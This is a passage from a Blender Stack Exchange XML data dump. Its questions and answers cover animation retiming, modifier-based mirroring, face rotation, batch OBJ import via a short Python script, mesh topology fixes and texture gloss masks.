  <row Id="5054" PostTypeId="1" AcceptedAnswerId="5055" CreationDate="2013-11-23T00:21:23.097" Score="24" ViewCount="16451" Body="&lt;p&gt;I have an object with some animation (120 seconds) and I want to make this animation now play over the duration of 270 seconds. How can I stretch the animation to this new duration?&lt;/p&gt;&#xA;" OwnerUserId="98" LastEditorUserId="12" LastEditDate="2013-11-23T00:32:34.290" LastActivityDate="2017-06-03T15:42:25.940" Title="How to stretch 120 seconds of animation over 270 seconds?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5055" PostTypeId="2" ParentId="5054" CreationDate="2013-11-23T00:30:45.060" Score="23" Body="&lt;p&gt;Select the object and open the &lt;em&gt;Dope Sheet&lt;/em&gt;. Set the frame scrubber (the green line) to the starting frame, press &lt;kbd&gt;A&lt;/kbd&gt; to select all and then press &lt;kbd&gt;S&lt;/kbd&gt; to scale the keyframes apart up to the required frame. This should stretch the animation to whatever length you want. If you have multiple keyframes, Blender will even these out for you. You can also hold &lt;kbd&gt;Shift&lt;/kbd&gt; when scaling to snap in small increments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NWaZd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note of course that since you are making a short animation longer, it will most likely playback slower.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-11-23T17:50:14.957" LastActivityDate="2013-11-23T17:50:14.957" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5056" PostTypeId="2" ParentId="5054" CreationDate="2013-11-23T03:38:59.060" Score="14" Body="&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/5055/599&quot;&gt;iKlsR's answer&lt;/a&gt; is good, but for completeness:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this for the entire scene you can use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Output#Dimensions&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Time Remapping&lt;/em&gt;&lt;/a&gt; (in &lt;em&gt;Properties &gt; Render &gt; Dimensions&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you are rendering to 24 frames per second, your 120 second animation should be &lt;code&gt;120*24 = 2880&lt;/code&gt; frames long. To make it 270 seconds long, it should be &lt;code&gt;270*24 = 6480&lt;/code&gt; frames long.       &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eSYc9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/questions/1053/how-do-i-animate-time&quot;&gt;How do I animate time?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2017-06-03T15:42:25.940" LastActivityDate="2017-06-03T15:42:25.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5057" PostTypeId="1" AcceptedAnswerId="5059" CreationDate="2013-11-23T06:50:38.240" Score="11" ViewCount="2818" Body="&lt;p&gt;I want to create a cube with some general extrusions. This should be the same across all sides of the cube. Is there a way to make this mirrored across all six sides? I know that I could delete the rest of the cube, copy my changes, rotate it 90°, move it down and to the side, and repeat for all the sides, then remove doubles, but I'm wondering if there's a way to make this work in real time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the below image, all six sides should copy the changes shown here on the one side:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FsCiq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2013-11-23T14:50:57.590" Title="Mirror changes to side of cube across all six sides" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5058" PostTypeId="2" ParentId="5057" CreationDate="2013-11-23T08:43:15.340" Score="8" Body="&lt;ul&gt;&#xA;&lt;li&gt;You could select all faces in edit mode &lt;kbd&gt;A&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Inset  &lt;kbd&gt;I&lt;/kbd&gt; with individual option  &lt;kbd&gt;I&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZBmLN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Invert selection &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extrude with &lt;kbd&gt;E&lt;/kbd&gt; with individual origins&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z9o8w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you only need to repeat the rotation for all faces.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-11-23T14:50:57.590" LastActivityDate="2013-11-23T14:50:57.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5059" PostTypeId="2" ParentId="5057" CreationDate="2013-11-23T08:46:59.070" Score="11" Body="&lt;h1&gt;Modifiers:&lt;/h1&gt;&#xA;&lt;p&gt;You could do this with a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Mirror&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Mirror modifier&lt;/em&gt;&lt;/a&gt; and an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Array#Array_Modifier&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Array Modifier&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the excess geometry:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jjh67.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Mirror modifier:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hwhmI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an &lt;em&gt;Array Modifier&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an &lt;em&gt;Empty&lt;/em&gt; rotated &lt;code&gt;-90°, 0°, 90°&lt;/code&gt; (assuming the mirror is mirroring along the &lt;code&gt;X&lt;/code&gt; axis):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r7RDT.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the empty as the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Array#Options&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Object offset&lt;/em&gt;&lt;/a&gt; in the array modifier:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/istQR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gFS7m.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Duplifaces:&lt;/h1&gt;&#xA;&lt;p&gt;Another way is with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliFaces&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Duplifaces&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a cube and a plane.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Parent&lt;/em&gt; the plane to the cube (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zkpov.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the cube selected, enable &lt;em&gt;Duplifaces&lt;/em&gt; in the &lt;em&gt;Properties Editor &amp;gt; Object &amp;gt; Duplication&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mf6wr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit the plane object:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oqqwx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The duplifaces will be displayed in object mode:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5DTv0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Limitations:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The array modifier method will not rotate the duplicated faces in the same direction: (this is tweak-able by adjusting the rotation of the empty)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tTSk4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplifaces do not display in edit mode.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-23T09:13:15.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5060" PostTypeId="1" AcceptedAnswerId="5061" CreationDate="2013-11-23T09:46:42.370" Score="11" ViewCount="13794" Body="&lt;p&gt;In edit mode with these settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Face selection&lt;/li&gt;&#xA;&lt;li&gt;Pivot point: individual origins&lt;/li&gt;&#xA;&lt;li&gt;Transformation orientation: Normal&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The faces don't rotate around the normals, is there another required setting that I overlooked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zhB0E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2015-04-15T19:50:34.847" LastActivityDate="2020-10-26T21:30:37.793" Title="How can faces be rotated around their individual normals?" Tags="&lt;modeling&gt;&lt;transforms&gt;&lt;normals&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5061" PostTypeId="2" ParentId="5060" CreationDate="2013-11-23T10:12:20.933" Score="10" Body="&lt;p&gt;You need to press a key to specify the axis. (i.e. &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations&quot;&gt;&lt;em&gt;Transform orientation&lt;/em&gt;&lt;/a&gt; aligns the &lt;code&gt;XYZ&lt;/code&gt; coordinates to something, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Global&lt;/em&gt; aligns the axes to the world&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Local&lt;/em&gt; aligns the axes to the selected object(s) rotation&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Normal&lt;/em&gt; aligns the axes to the selected element(s) normal&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that pressing the axis key once always snaps to the &lt;em&gt;Global&lt;/em&gt; orientation, regardless of the setting in &lt;em&gt;3D view &gt; Header&lt;/em&gt;. To use the orientation specified in &lt;em&gt;3D view &gt; Header&lt;/em&gt;, press the axis key twice. (e.g. &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With your settings, (&lt;em&gt;Individual origins&lt;/em&gt;, &lt;em&gt;Normal&lt;/em&gt;, &lt;em&gt;Face&lt;/em&gt;) to rotate each face around its normal we should rotate around the &lt;code&gt;Z&lt;/code&gt;, see the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations#Normal&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The z-axis of the manipulator will match the normal vector of the selected [element]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So by pressing &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9yxxh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-23T10:25:00.403" LastActivityDate="2013-11-23T10:25:00.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5062" PostTypeId="2" ParentId="5045" CreationDate="2013-11-23T10:27:30.633" Score="5" Body="&lt;p&gt;The reason is that this is the way the node is written by the developer,&#xA;Sometimes it makes sense for values to be adjusted per-pixel and sockets are used, other times its enough to have a setting on the node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The are undoubtedly cases where you might want to adjust a setting per-pixel but there isn't a socket input. I guess you could call this a not-yet-implemented feature. There may be a good reason the developer chose not to do this, or it may be an oversight.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-11-23T10:27:30.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5064" PostTypeId="1" AcceptedAnswerId="5065" CreationDate="2013-11-23T14:30:15.343" Score="25" ViewCount="37674" Body="&lt;p&gt;Is it possible to batch import Wavefront &lt;em&gt;.obj&lt;/em&gt; to blender? I'm working on 2.69.&#xA;If I select multiple &lt;em&gt;.obj&lt;/em&gt; files, only one gets imported. Also if I hit A on file selection window to select all files (&lt;em&gt;.obj&lt;/em&gt; and &lt;em&gt;.mtl&lt;/em&gt;) I get an error, nothing gets imported. I have to import several hundreds of &lt;em&gt;.obj&lt;/em&gt; into the blender file, is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1673" LastEditorUserId="241" LastEditDate="2020-06-26T13:29:31.607" LastActivityDate="2021-03-02T12:36:38.740" Title="How to batch import Wavefront OBJ files?" Tags="&lt;objects&gt;&lt;import&gt;&lt;obj&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="15" ContentLicense="CC BY-SA 4.0" />
  <row Id="5065" PostTypeId="2" ParentId="5064" CreationDate="2013-11-23T15:05:06.417" Score="24" Body="&lt;p&gt;Unfortunately, this is not possible by default with Blender 2.5x+ it seems. In 2.49, you could hold &lt;kbd&gt;Shift&lt;/kbd&gt; then press the &lt;em&gt;Import Obj&lt;/em&gt; button and it would prompt you to select a directory with the sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2.69, you can do the same with a script &amp;mdash; &lt;em&gt;it could be converted into a more usable utility but it works.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import bpy&#xA;&#xA;# put the location to the folder where the objs are located here in this fashion&#xA;# this line will only work on windows ie C:\objects&#xA;path_to_obj_dir = os.path.join('C:\\', 'objects')&#xA;&#xA;# get list of all files in directory&#xA;file_list = sorted(os.listdir(path_to_obj_dir))&#xA;&#xA;# get a list of files ending in 'obj'&#xA;obj_list = [item for item in file_list if item.endswith('.obj')]&#xA;&#xA;# loop through the strings in obj_list and add the files to the scene&#xA;for item in obj_list:&#xA;    path_to_file = os.path.join(path_to_obj_dir, item)&#xA;    bpy.ops.import_scene.obj(filepath = path_to_file)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For unix machines the direct path should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# location of obj folder&#xA;path_to_obj_dir = '/home/user/Desktop/objects/'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastEditorUserId="3710" LastEditDate="2015-06-01T13:44:47.000" LastActivityDate="2015-06-01T13:44:47.000" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5066" PostTypeId="1" AcceptedAnswerId="5068" CreationDate="2013-11-23T17:02:21.447" Score="3" ViewCount="1444" Body="&lt;p&gt;I always mess up my model in blender. At some point I manually add vertices on edges with subdivide and then I connect them with &lt;kbd&gt;J&lt;/kbd&gt;, and sometimes I have to fill faces with &lt;kbd&gt;F&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N2VZH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oxV4G.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see my model is a little bit messed up and this happens all the time. And I can't properly use the loop cut tool anymore.&lt;/p&gt;&#xA;&lt;p&gt;Any idea how to fix this?&lt;/p&gt;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&lt;p&gt;Here is the blend.file&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/25381&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/25381&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1672" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-23T17:45:36.917" Title="Problem with creating edge rings on a model" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5067" PostTypeId="1" CreationDate="2013-11-23T17:05:54.027" Score="0" ViewCount="1735" Body="&lt;p&gt;I am trying to get Z Pass to render but all I get is a white image. Any ideas why that happens?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried setting up the render layers, checked only z-pass since that's all I need but still can't get it going. I am having a similar issue when trying to output to PNG's other passes but they do show up however at least in the viewer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I tried looking up for tuts on this but what I found is only for internal compositor unfortunately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2013-11-23T17:05:54.027" Title="Output Z-Pass in Cycles" Tags="&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2013-11-25T15:16:00.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="5068" PostTypeId="2" ParentId="5066" CreationDate="2013-11-23T17:38:05.940" Score="5" Body="&lt;p&gt;This is happening because of two things.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Because you are using &lt;a href=&quot;https://blender.stackexchange.com/questions/1684/what-is-the-technical-difference-between-an-ngon-and-a-bunch-of-tris&quot;&gt;N-gons&lt;/a&gt;. N-gons perfectly fine when making hard surface models but when it comes on to topology, they get a bit difficult to work with.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VKTsx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You have faces on the inside of your model. This is a no no and the &lt;em&gt;Edge Ring&lt;/em&gt; tool will detect these when you are trying to make a ring and won't allow it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aCbTW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;So to fix, you can use the &lt;em&gt;Knife tool&lt;/em&gt; to try and cut the ngons into quads (See &lt;a href=&quot;https://blender.stackexchange.com/a/4959/12&quot;&gt;this post&lt;/a&gt; on how to use the Knife tool), don't just select vertices and press &lt;kbd&gt;F&lt;/kbd&gt;. Next, remove all inner faces of your model, you can just go into &lt;em&gt;Wireframe&lt;/em&gt; view and select the faces and use &lt;kbd&gt;X&lt;/kbd&gt; &lt;em&gt;&amp;gt; Faces&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Trying to create an edge ring with inside face(s).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vhCX5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Creating an edge ring without inside faces.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sVJPk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Trying to add edge rings to an Ngon vs trying to add edge rings to quads.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OIRrA.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-23T17:44:33.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5069" PostTypeId="1" AcceptedAnswerId="5076" CreationDate="2013-11-23T18:38:06.243" Score="14" ViewCount="7908" Body="&lt;p&gt;I have a skyscraper building but I only want the glass in the texture to be glossy.  How would I accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Ok, I have done a test and here are the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the original:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Mc8yc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is an adjusted image &#xA;&lt;img src=&quot;https://i.stack.imgur.com/VO6hl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1342" LastEditorUserId="1342" LastEditDate="2013-11-28T04:36:23.217" LastActivityDate="2013-11-28T04:36:23.217" Title="I'd like to have portions of a texture not glossy" Tags="&lt;texturing&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5070" PostTypeId="2" ParentId="5069" CreationDate="2013-11-23T20:58:19.773" Score="12" Body="&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;You can use a mix node with a black and white texture as the &lt;em&gt;Factor&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9jtSk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nlGP2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Blender Internal:&lt;/h1&gt;&#xA;&lt;p&gt;This can be done in blender internal by adjusting the influence map texture in &lt;em&gt;Properties &amp;gt; Textures &amp;gt; Influence&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ubwXA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that you must have &lt;em&gt;Mirror&lt;/em&gt; enabled in the material for the map texture to influence reflections.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CKPcX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Creating a mask:&lt;/h1&gt;&#xA;&lt;p&gt;So for a building texture you could make a mask texture for all the windows in an external image editor, or you could try making the image with blender:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add your texture as a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View_Options#Background_Image&quot; rel=&quot;noreferrer&quot;&gt;background image&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane and edit it to match the windows:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LfaV7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add two &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Array&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Array modifiers&lt;/em&gt;&lt;/a&gt; to the plane (one for each axis):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ulZ2D.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Position the camera so it points straight at the window array (see &lt;a href=&quot;https://blender.stackexchange.com/questions/43/whats-the-quickest-easiest-way-to-point-the-camera-somewhere-in-blender&quot;&gt;this post&lt;/a&gt;), and set the camera to &lt;em&gt;Orthographic&lt;/em&gt; in &lt;em&gt;Object data &amp;gt; Lens&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HMdBy.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the output resolution to the same as the texture and adjust the &lt;em&gt;Orthographic scale&lt;/em&gt; of the camera in &lt;em&gt;Object data &amp;gt; Lens&lt;/em&gt; until the array object and the texture line up:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qqGYL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Give the object a pure black material and set the world color to pure white.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render. (If you are using cycles, you may want to set the number of samples to 1, this will give a mask with &lt;strong&gt;only&lt;/strong&gt; black and white.):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kigiL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save the image to a file (&lt;kbd&gt;F3&lt;/kbd&gt;) You now have a mask image file you can use as an &lt;em&gt;Image texture&lt;/em&gt; in a material.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example material:&lt;/strong&gt; (click for full size)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oJ3t4.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oJ3t4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You may want a little bit of diffuse reflection on the windows, so I added a &lt;em&gt;Brightness Contrast&lt;/em&gt; node to make the black on the windows a dark gray, which will result in a mix of the glossy and diffuse shaders. You can think of this as each pixel in image containing a value between &lt;code&gt;0&lt;/code&gt; (black) and &lt;code&gt;1&lt;/code&gt; (white), which will set the &lt;em&gt;Mix factor&lt;/em&gt; 